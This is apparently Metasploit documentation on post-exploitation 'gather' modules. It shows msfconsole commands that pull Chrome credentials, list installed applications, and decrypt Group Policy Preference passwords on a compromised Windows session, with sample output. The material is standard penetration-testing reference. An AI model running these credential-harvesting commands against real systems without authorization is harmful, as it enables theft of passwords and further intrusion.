Post Modules

Metasploit’s post gather modules are useful after a Metasploit session has opened. This guide focuses on Post modules for gathering additional information from a host after a Metasploit session has opened.

Metasploit post modules replace old Meterpreter scripts, which are no longer maintained or accepted by the framework team.

You can search for post gather modules within msfconsole:

msf6 > search type:post platform:windows name:gather

There are two ways to launch a Post module, both require an existing session.

Within a msf prompt you can use the use comand followed by the run command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:

msf6 > use post/windows/gather/enum_chrome
msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true

[*] Impersonating token: 7192
[*] Running as user 'DESKTOP-N3MAG5R\basic_user'...
[*] Extracting data for user 'basic_user'...

[*] Post module execution completed
msf6 post(windows/gather/enum_chrome) >

Or within a Meterpreter prompt use the run command, which will automatically set the module’s session value:

msf6 > sessions --interact -1
[*] Starting interaction with 5...

meterpreter > run post/windows/gather/enum_applications

[*] Enumerating applications installed on DESKTOP-N3MAG5R

Useful modules

Windows GPP Credentials

This module enumerates the victim machine’s domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsoft’s public AES key. Cached Group Policy files may be found on end-user devices if the group policy object is deleted rather than unlinked

use post/windows/gather/credentials/gpp
run session=-1
